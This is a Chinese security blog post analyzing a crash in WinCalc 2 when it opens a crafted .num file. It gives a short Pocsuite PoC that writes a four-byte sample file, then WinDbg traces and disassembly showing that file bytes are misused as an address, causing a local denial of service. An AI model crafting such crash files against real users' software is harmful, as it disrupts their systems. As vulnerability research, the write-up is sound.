首页 » 漏洞 » WinCalc 2 .num栈溢出漏洞

WinCalc 2 .num栈溢出漏洞

 
文章目录

作者:k0shl 转载请注明出处:http://whereisk0shl.top

漏洞说明

软件下载:

https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe

PoC:

#!/usr/bin/env python # coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register   class TestPOC(POCBase):     vulID = '69156'  # ssvid     version = '1.0'     author = ['k0Sh1血战排行榜']     vulDate = ''     createDate = '2016-01-01'     updateDate = '2016-01-01'     references = ['http://www.sebug.net/vuldb/ssvid-69156']     name = 'Wincalc 2 (.num) local Buffer Overflow PoC'     appPowerLink = 'https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe'     appName = 'Wincalc'     appVersion = '2.0'     vulType = 'Local Denial Service'     desc = '''          1、目前attack暂缺,可以通过--verify生成样本文件          2、原poc链接下载的exe无法触发漏洞,会直接退出,exploit-db下载的版本可以使用     '''     samples = ['']      def _attack(self):         result = {}         #Write your code here          return self.parse_output(result)      def _verify(self):         result = {}         #Write your code here         poc = '/x41' * 4         f = open('wincalc.poc','w')         f.write(poc)         f.close()         result['FileInfo'] = {}         result['FileInfo']['Content'] = 'Create WinCalc PoC OK!'         return self.parse_output(result)      def parse_output(self, result):         #parse output         output = Output(self)         if result:             output.success(result)         else:             output.fail('File Create Failure!')         return output   register(TestPOC)

测试环境:

Win xp sp3

这个PoC仍然是基于创宇的Pocsuite写的,可以提取payload部分重新写一个,运行会生成一个.num文件,之后直接用Wincalc2打开.num软件,触发漏洞。

漏洞复现

此漏洞是由于执行文件读取.num文件时,在读取文件之后的if语句判断中,由于操作失误,导致本应读取地址的地方却变成了读取缓冲区前4位,导致程序读取指针失败,因此,只要是.num文件前4位不是一个在内存空间中可读的地址,就会出现崩溃的情况,而并不像PoC中说的那样需要超长字符串,但目前我没有想出这种漏洞的利用方式,从现在来看,此漏洞只能造成本地拒绝服务,下面对此漏洞进行详细的分析。

首先我们通过Pocsuite生成样本文件,打开wincalc,加载样本文件,程序崩溃,Windbg弹出。

0:000> g (790.7f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=jQuery21405961041268892586_1451650865293??????

可以看到此时esi+ecx*4+41h是一个不可读的地址,此时ecx的值是41414141,我们通过kb查看堆栈调用。

0:000> kb ChildEBP RetAddr  Args to Child               WARNING: Stack unwind information not available. Following frames may be wrong. 0012fa20 00417c71 00992d90 00ac1dc8 00000000 wcalcru!_GetExceptDLLinfo+0x16a2e 0012fa50 00417885 00992d90 00ac1dc8 00f80044 wcalcru!_GetExceptDLLinfo+0x16c2b 0012fa70 00432582 00992d90 00f80044 0012faa0 wcalcru!_GetExceptDLLinfo+0x1683f 0012fa80 004327f4 00992d90 00417832 00000000 wcalcru!_GetExceptDLLinfo+0x3153c 0012faa0 0043846e 009930bf 0012fad4 00f80044 wcalcru!_GetExceptDLLinfo+0x317ae 0012fafc 0043856e 009930cb 00000233 00f80044 wcalcru!_GetExceptDLLinfo+0x37428

我们要通过回溯的方法观察漏洞触发的原因,首先我们要检查的位置是00417c71。

漏洞分析

我们在00417c6c下断点,然后重新打开程序,并附加样本。

0:001> bp 00417c6c *** WARNING: Unable to verify checksum for C:/peanut/wcalcru.exe *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:/peanut/wcalcru.exe -  0:001> g Breakpoint 0 hit eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417c6c esp=0012fa28 ebp=0012fa50 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 wcalcru!_GetExceptDLLinfo+0x16c26: 00417c6c e8befdffff      call    wcalcru!_GetExceptDLLinfo+0x169e9 (00417a2f) 0:000> p (498.66c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????

可以看到在00417c6c程序中断,我们通过F10步过,到达漏洞现场,说明问题出现在00417c6c处的call函数中,我们首先在外层函数中观察一下汇编代码。

.text:00417C68                 add     esp, 8 .text:00417C6B                 push    esi .text:00417C6C                 call    sub_417A2F

我们通过F11步入这个sub_417a2f中,查看一下进入后的部分代码。

0:000> p eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a3b esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207 wcalcru!_GetExceptDLLinfo+0x169f5: 00417a3b 684d2f4600      push    offset wcalcru!__CPPdebugHook+0x1de6 (00462f4d) 0:000> p eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a40 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207 wcalcru!_GetExceptDLLinfo+0x169fa: 00417a40 8b864e020000    mov     eax,dword ptr [esi+24Eh] ds:0023:00992fde=00993314 0:000> p eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a46 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207 wcalcru!_GetExceptDLLinfo+0x16a00: 00417a46 ff7008          push    dword ptr [eax+8]    ds:0023:0099331c=00992b28 0:000> p eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a49 esp=0012f9d4 ebp=0012fa20 iopl=0         nv up ei pl nz na pe cy cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207 wcalcru!_GetExceptDLLinfo+0x16a03: 00417a49 e8cae10300      call    wcalcru!__unlockDebuggerData$qv+0x2e30 (00455c18)

这里的call调用需要关注一下,到达这里时,我们通过esp来观察一下这里call调用时的两个push进来的参数。

第一个参数

0:000> dc poi(esp) 00992b28  445c3a43 6d75636f 73746e65 646e6120  C:/Documents and 00992b38  74655320 676e6974 64415c73 696e696d   Settings/Admini 00992b48  61727473 5c726f74 636e6977 2e636c61  strator/wincalc. 00992b58  006d756e 00000000 00000000 00000000  num.............

第二个参数

0:000> dc poi(esp+4) 00462f4d  00006272 4d554e00 6e695700 636c6163  rb

可以看到第一处参数是一个路径,第二个参数是rb,那么我们可以猜测此处函数调用应该是一个fopen函数,打开的就是我们的漏洞文件。

接下来我们继续单步跟踪。

0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a60 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1a: 00417a60 53              push    ebx 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a61 esp=0012f9d8 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1b: 00417a61 6a01            push    1 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a63 esp=0012f9d4 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1d: 00417a63 6a04            push    4 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a65 esp=0012f9d0 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1f: 00417a65 8d55fc          lea     edx,[ebp-4] 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8 eip=00417a68 esp=0012f9d0 ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a22: 00417a68 52              push    edx 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8 eip=00417a69 esp=0012f9cc ebp=0012fa20 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a23: 00417a69 e8e2e30300      call    wcalcru!__unlockDebuggerData$qv+0x3068 (00455e50)

到达这处call函数的时候,我们发现传入了4个参数,其实这里是一处fread,这一点,我们可以通过ida pro来佐证。

.text:00417A60                 push    ebx             ; stream .text:00417A61                 push    1               ; n .text:00417A63                 push    4               ; size .text:00417A65                 lea     edx, [ebp+ptr] .text:00417A68                 push    edx             ; ptr .text:00417A69                 call    _fread

可以看到edx寄存器存放了ptr指针的值,其实这个值的地址是用来保存读取的文件的,我们要记住这个值。

0:000> r edx edx=0012fa1c

而且我们看到,读取的第二个参数是4,也就是说,只读取4位。

0:000> p eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a6e esp=0012f9cc ebp=0012fa20 iopl=0         nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246 wcalcru!_GetExceptDLLinfo+0x16a28: 00417a6e 83c410          add     esp,10h 0:000> dc 0012fa1c 0012fa1c  41414141

可以看到此时读取到的值是41414141,也就是前4位,但是后来继续跟进。

0:000> p eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a71 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 wcalcru!_GetExceptDLLinfo+0x16a2b: 00417a71 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:0012fa1c=41414141 0:000> p eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100      cmp     dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????

可以看到紧接着ebp-4地址的值交给ecx,此时,这里的赋值应该是赋值一个地址,而不是缓冲区的值,从而导致了地址不可读,引发拒绝服务。

原文链接:WinCalc 2 .num栈溢出漏洞,转载请注明来源!

0